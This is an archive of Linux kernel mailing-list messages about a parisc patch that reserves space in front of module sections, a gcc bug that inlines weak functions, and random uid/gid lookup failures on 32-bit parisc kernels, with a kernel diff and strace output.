Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel
 modules (take 4)
Date: Wed, 31 Dec 2008 14:14:08 -0800 (PST)
Lines: 23
Approved: news@gmane.org
Message-ID: <20081231.141408.60544902.davem@davemloft.net>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
	<20081231105425.9ccac21d.akpm@linux-foundation.org>
	<alpine.LFD.2.00.0812311318420.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230761661 20227 80.91.229.12 (31 Dec 2008 22:14:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 22:14:21 +0000 (UTC)
Cc: akpm@linux-foundation.org, rdreier@cisco.com, mingo@elte.hu,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 23:15:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI9LY-0007OV-7J
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 23:15:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752757AbYLaWOH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 17:14:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752326AbYLaWOH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 17:14:07 -0500
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:46628
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1751191AbYLaWOG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 17:14:06 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 2C405C8C17E;
	Wed, 31 Dec 2008 14:14:09 -0800 (PST)
In-Reply-To: <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain>
X-Mailer: Mew version 6.1 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1072 gmane.linux.kernel:774099
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1072>

From: Linus Torvalds <torvalds@linux-foundation.org>
Date: Wed, 31 Dec 2008 13:22:53 -0800 (PST)

> On Wed, 31 Dec 2008, Andrew Morton wrote:
> > 
> > Adrian claimed that it was gcc-4.1.0 and 4.1.1 only.  He proposed
> > banning them: http://lkml.org/lkml/2008/8/5/444
> 
> If it really is just those releases, then yes, considering the number of 
> cases we apparently have, and considering how ugly it is in some cases to 
> move the weak function anywhere else, maybe banning those versions is the 
> proper thing to do.
> 
> It probably won't hurt very many people - yeah, some people will be forced 
> to upgrade, but I have this memory of early 4.1 having had other bugs 
> anyway, so it's probably a good idea.

I think this is probably the best way to handle this.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules (take 4)
Date: Thu, 1 Jan 2009 08:46:12 +1030
Lines: 37
Approved: news@gmane.org
Message-ID: <200901010846.13881.rusty@rustcorp.com.au>
References: <4959346E.7060600@gmx.de> <495B5806.3080505@gmx.de> <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230761792 20576 80.91.229.12 (31 Dec 2008 22:16:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 22:16:32 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 23:17:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI9Nh-0007vE-EV
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 23:17:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753172AbYLaWQU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 17:16:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753401AbYLaWQU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 17:16:20 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:56243 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753172AbYLaWQU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 17:16:20 -0500
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 01B90DDEEF;
	Thu,  1 Jan 2009 09:16:19 +1100 (EST)
User-Agent: KMail/1.10.3 (Linux/2.6.27-9-generic; KDE/4.1.3; i686; ; )
In-Reply-To: <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1073 gmane.linux.kernel:774100
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1073>

On Thursday 01 January 2009 03:59:36 Linus Torvalds wrote:
> 
> On Wed, 31 Dec 2008, Helge Deller wrote:
> >
> > [PATCH 1/2] module.c: fix module loading failure of large kernel modules
> > 
> > When creating the final layout of a kernel module in memory, allow the
> > module loader to reserve some additional memory in front of a given section.
> > This is currently only needed for the parisc port which needs to put the
> > stub entries there to fulfill the 17/22bit PCREL relocations with large
> > kernel modules like xfs.
> > 
> > Differences of this patch to previous versions:
> > - added weak funtion arch_module_section_size()
> 
> This doesn't work.
> 
> We've had this bug several times now, and one of them just very recently.
> 
> Some gcc versions will inline weak functions if they are in scope

Ah, someone hit this elsewhere and thought this was an arch-specific bug.
Any chance we can just kill those compiler versions and move on with our
lives?  4.1.3 definitely doesn't have the problem.

> We don't write out that whole "__attribute__" crud.

I think what you mean is "I prefer __weak".  Which is fine, and not
trivially disprovable by grep.

It's a gratuitous kernelism, but it's an inoffensive one.
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules (take 4)
Date: Thu, 1 Jan 2009 11:22:00 +1030
Lines: 96
Approved: news@gmane.org
Message-ID: <200901011122.01109.rusty@rustcorp.com.au>
References: <4959346E.7060600@gmx.de> <200901010002.41477.rusty@rustcorp.com.au> <495B7E24.9010802@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230771142 8779 80.91.229.12 (1 Jan 2009 00:52:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 00:52:22 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 01:53:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIBoT-0000kZ-7e
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 01:53:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750933AbZAAAwH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 19:52:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752353AbZAAAwH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 19:52:07 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:55410 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750933AbZAAAwF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 19:52:05 -0500
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 45E78DDECF;
	Thu,  1 Jan 2009 11:52:02 +1100 (EST)
User-Agent: KMail/1.10.3 (Linux/2.6.27-9-generic; KDE/4.1.3; i686; ; )
In-Reply-To: <495B7E24.9010802@gmx.de>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1074 gmane.linux.kernel:774131
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1074>

On Thursday 01 January 2009 00:43:56 Helge Deller wrote:
> Rusty Russell wrote:
> > Not quite what I had in mind... let me show you:
> > ...
> > Otherwise I'd have called it "arch_module_extra_size()".
> 
> This would mean that I can increase the section size in the arch-specific function
> by returning a bigger value than sh_size.
> This would give me space at the end of the section, but not at the beginning 
> (which is what I need), as sh_entsize (the offset into memory) will stay the 
> same as before.

Ah, OK.  I assumed that extra room at the end was sufficient.

So I've taken your previous patch and renamed the function to
arch_mod_section_prepend().  If we decide not to kill those bad gcc versions,
I'll stick it in some other random file (lib/weak.c?  Blech...)

BTW, this is very late for this merge window.  I would have liked to see
this a month ago :(

Subject: module: fix module loading failure of large kernel modules for parisc
Date: Wed, 31 Dec 2008 12:31:18 +0100
From: Helge Deller <deller@gmx.de>

When creating the final layout of a kernel module in memory, allow the
module loader to reserve some additional memory in front of a given section.
This is currently only needed for the parisc port which needs to put the
stub entries there to fulfill the 17/22bit PCREL relocations with large
kernel modules like xfs.

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au> (renamed fn)

diff --git a/include/linux/moduleloader.h b/include/linux/moduleloader.h
--- a/include/linux/moduleloader.h
+++ b/include/linux/moduleloader.h
@@ -12,6 +12,9 @@ int module_frob_arch_sections(Elf_Ehdr *
 			      Elf_Shdr *sechdrs,
 			      char *secstrings,
 			      struct module *mod);
+
+/* Additional bytes needed by arch in front of individual sections */
+unsigned int arch_mod_section_prepend(struct module *mod, unsigned int section);
 
 /* Allocator used for allocating struct module, core sections and init
    sections.  Returns NULL on failure. */
diff --git a/kernel/module.c b/kernel/module.c
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1588,11 +1588,21 @@ static int simplify_symbols(Elf_Shdr *se
 	return ret;
 }
 
+/* Additional bytes needed by arch in front of individual sections */
+unsigned int __weak arch_mod_section_prepend(struct module *mod,
+					     unsigned int section)
+{
+	/* default implementation just returns zero */
+	return 0;
+}
+
 /* Update size with this section: return offset. */
-static long get_offset(unsigned int *size, Elf_Shdr *sechdr)
+static long get_offset(struct module *mod, unsigned int *size,
+		       Elf_Shdr *sechdr, unsigned int section)
 {
 	long ret;
 
+	*size += arch_mod_section_prepend(mod, section);
 	ret = ALIGN(*size, sechdr->sh_addralign ?: 1);
 	*size = ret + sechdr->sh_size;
 	return ret;
@@ -1632,7 +1642,7 @@ static void layout_sections(struct modul
 			    || strncmp(secstrings + s->sh_name,
 				       ".init", 5) == 0)
 				continue;
-			s->sh_entsize = get_offset(&mod->core_size, s);
+			s->sh_entsize = get_offset(mod, &mod->core_size, s, i);
 			DEBUGP("\t%s\n", secstrings + s->sh_name);
 		}
 		if (m == 0)
@@ -1650,7 +1660,7 @@ static void layout_sections(struct modul
 			    || strncmp(secstrings + s->sh_name,
 				       ".init", 5) != 0)
 				continue;
-			s->sh_entsize = (get_offset(&mod->init_size, s)
+			s->sh_entsize = (get_offset(mod, &mod->init_size, s, i)
 					 | INIT_OFFSET_MASK);
 			DEBUGP("\t%s\n", secstrings + s->sh_name);
 		}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Fitzhardinge <jeremy@goop.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules
 (take 4)
Date: Thu, 01 Jan 2009 18:12:41 +1100
Lines: 25
Approved: news@gmane.org
Message-ID: <495C6CE9.3080402@goop.org>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de> <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230793980 14105 80.91.229.12 (1 Jan 2009 07:13:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 07:13:00 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 08:14:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIHkt-00078l-OE
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 08:14:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751083AbZAAHMv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 02:12:51 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751773AbZAAHMv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 02:12:51 -0500
Original-Received: from gw.goop.org ([64.81.55.164]:46178 "EHLO mail.goop.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751083AbZAAHMu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 02:12:50 -0500
Original-Received: by lurch.goop.org (Postfix, from userid 525)
	id D2B0B2C8044; Wed, 31 Dec 2008 23:12:47 -0800 (PST)
Original-Received: from lurch.goop.org (localhost [127.0.0.1])
	by lurch.goop.org (Postfix) with ESMTP id CD89B2C8042;
	Wed, 31 Dec 2008 23:12:44 -0800 (PST)
Original-Received: from abulafia.goop.org (dsl-220-253-65-119.NSW.netspace.net.au [220.253.65.119])
	by lurch.goop.org (Postfix) with ESMTPSA;
	Wed, 31 Dec 2008 23:12:44 -0800 (PST)
User-Agent: Thunderbird 2.0.0.18 (X11/20081119)
In-Reply-To: <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
X-Enigmail-Version: 0.95.6
X-Virus-Scanned: ClamAV using ClamSMTP by lurch.goop.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1075 gmane.linux.kernel:774163
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1075>

Linus Torvalds wrote:
> Some gcc versions will inline weak functions if they are in scope - even 
> if there is a non-weak function somewhere else. So you MUST NOT have the 
> weak definition in the same file (or indirectly called through some inline 
> functions in a header file) as the call. Because if you do, then any user 
> with the wrong version of gcc will get the weak function semantics, even 
> if it was meant to be overridden by something else.
>   

Yes.  I think this behaviour is considered to be desperately broken by 
the gcc developers and has been fixed in all recent gccs.  There are a 
couple of broken versions, and there have been patches floating around 
to just refuse to use them; otherwise __weak is effectively unusable.  
(Ah, I see Adrian has posted it again and everyone agrees with it.)

On the other hand, I have seen a couple of instances of "inline __weak" 
which is insane, but I don't know if gcc does anything crazy with it, or 
if its common enough to bother warning about.

    J
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: uid/gid issues on 2.6.26-rc2
Date: Thu, 01 Jan 2009 11:31:33 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <495C9B85.3000009@gmx.de>
References: <7d01f9f00805181331y77b83a35jb897b622f163b0ef@mail.gmail.com> <20081228005346.GA22574@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230805902 1736 80.91.229.12 (1 Jan 2009 10:31:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 10:31:42 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 11:32:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIKrC-0005Ju-2H
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 11:32:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752590AbZAAKbd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 05:31:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754760AbZAAKbd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 05:31:33 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:46352 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752590AbZAAKbc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 05:31:32 -0500
Original-Received: (qmail invoked by alias); 01 Jan 2009 10:31:29 -0000
Original-Received: from mnhm-590e08d5.pool.einsundeins.de (EHLO halden.box) [89.14.8.213]
  by mail.gmx.net (mp063) with SMTP; 01 Jan 2009 11:31:29 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+tFVgpFNat9YbdeT7kELCVQgn3YgmnqW8aKoMkVW
	SVr8GfjS7//fJm
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20081228005346.GA22574@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.44
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1076
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1076>

John David Anglin wrote:
> On Sun, 18 May 2008, Thibaut VARENE wrote:
> 
>> Then, checking auth.log, I spotted a few very surprising things:
>>
>> May 18 09:15:04 mkhppa3 sshd[1265]: Invalid user varenet from 147.215.7.200
>> May 18 09:15:04 mkhppa3 sshd[1265]: Failed none for invalid user
>> varenet from 147.215.7.200 port 58220 ssh2
> 
> I have seen this today testing 2.6.28 (32-bit UP).  The problem is also
> present in postfix:
> 
> dave@hiauly6:/var/log$ less mail.err
> Dec 27 12:45:41 hiauly6 postfix/sendmail[16726]: fatal: file /etc/postfix/main.cf: parameter mail_owner: unknown user name value: postfix
> 
> The only place this can occur is here:
> 
> static void check_mail_owner(void)
> {
>     struct passwd *pwd;
> 
>     if ((pwd = getpwnam(var_mail_owner)) == 0)
> 	msg_fatal("file %s/%s: parameter %s: unknown user name value: %s",
> 		  var_config_dir, MAIN_CONF_FILE,
> 		  VAR_MAIL_OWNER, var_mail_owner);
> 
> So, the problem is with getpwnam.  I don't see this with 2.6.22.19, so
> the problem is likely a syscall issue.  These seem to be the syscalls
> that directly relate to the getpwnam call:
> 
> open("/lib/libnss_files.so.2", O_RDONLY) = 3
> read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0$\f\0\0\0004\0"..., 512) = 512
> fstat64(3, {st_mode=0, st_size=0, ...}) = 0
> mmap(NULL, 52324, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40b92000
> mmap(0x40b9e000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xb000) = 0x40b9e000
> close(3)                                = 0
> munmap(0x4051b000, 30889)               = 0
> mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40006000
> open("/etc/passwd", O_RDONLY|O_CLOEXEC) = 3
> fcntl64(3, F_GETFD)                     = 0x1 (flags FD_CLOEXEC)
> _llseek(3, 0, [0], SEEK_CUR)            = 0
> fstat64(3, {st_mode=0, st_size=0, ...}) = 0
> mmap2(NULL, 1557, PROT_READ, MAP_SHARED, 3, 0) = 0x407ae000
> _llseek(3, 1557, [1557], SEEK_SET)      = 0
> munmap(0x407ae000, 1557)                = 0
> close(3)                                = 0
> exit_group(0)                           = ?
> 
> The failure appears random.  I think the problem occurs shortly after
> forking.  It doesn't seem to be present in the 64-bit SMP 2.6.28 test
> kernel that I'm testing.

I think your assumption that it is related to fork might be correct.
I don't see the uid/gid issues, but instead very often when I ssh the first
time into the 32bit kernel of a parisc box this message:
[deller@halden deller]$ ssh c3000 -Xl root
ssh_exchange_identification: Connection closed by remote host

But the second try suddenly works:
[deller@halden deller]$ ssh c3000 -Xl root
Password:

It appears random as well, and since I think sshd forks itself, it could
be that we have some fork()-problem...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules
 (take 4)
Date: Thu, 01 Jan 2009 13:02:43 +0100
Lines: 115
Approved: news@gmane.org
Message-ID: <495CB0E3.70509@gmx.de>
References: <4959346E.7060600@gmx.de> <200901010002.41477.rusty@rustcorp.com.au> <495B7E24.9010802@gmx.de> <200901011122.01109.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230811372 12764 80.91.229.12 (1 Jan 2009 12:02:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 12:02:52 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 13:04:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIMHP-0006Xd-9f
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 13:03:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755933AbZAAMCm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 07:02:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755951AbZAAMCm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 07:02:42 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:52082 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755933AbZAAMCl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 07:02:41 -0500
Original-Received: (qmail invoked by alias); 01 Jan 2009 12:02:38 -0000
Original-Received: from mnhm-590e08d5.pool.einsundeins.de (EHLO halden.box) [89.14.8.213]
  by mail.gmx.net (mp042) with SMTP; 01 Jan 2009 13:02:38 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/WC/dA1TzW8ztVeFuGY8Q+QOJj5yKVSN0bDKmKEI
	9thqFgy2x84WRQ
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <200901011122.01109.rusty@rustcorp.com.au>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.42
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1077 gmane.linux.kernel:774181
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1077>

Rusty Russell wrote:
> On Thursday 01 January 2009 00:43:56 Helge Deller wrote:
>> Rusty Russell wrote:
>>> Not quite what I had in mind... let me show you:
>>> ...
>>> Otherwise I'd have called it "arch_module_extra_size()".
>> This would mean that I can increase the section size in the arch-specific function
>> by returning a bigger value than sh_size.
>> This would give me space at the end of the section, but not at the beginning 
>> (which is what I need), as sh_entsize (the offset into memory) will stay the 
>> same as before.
> 
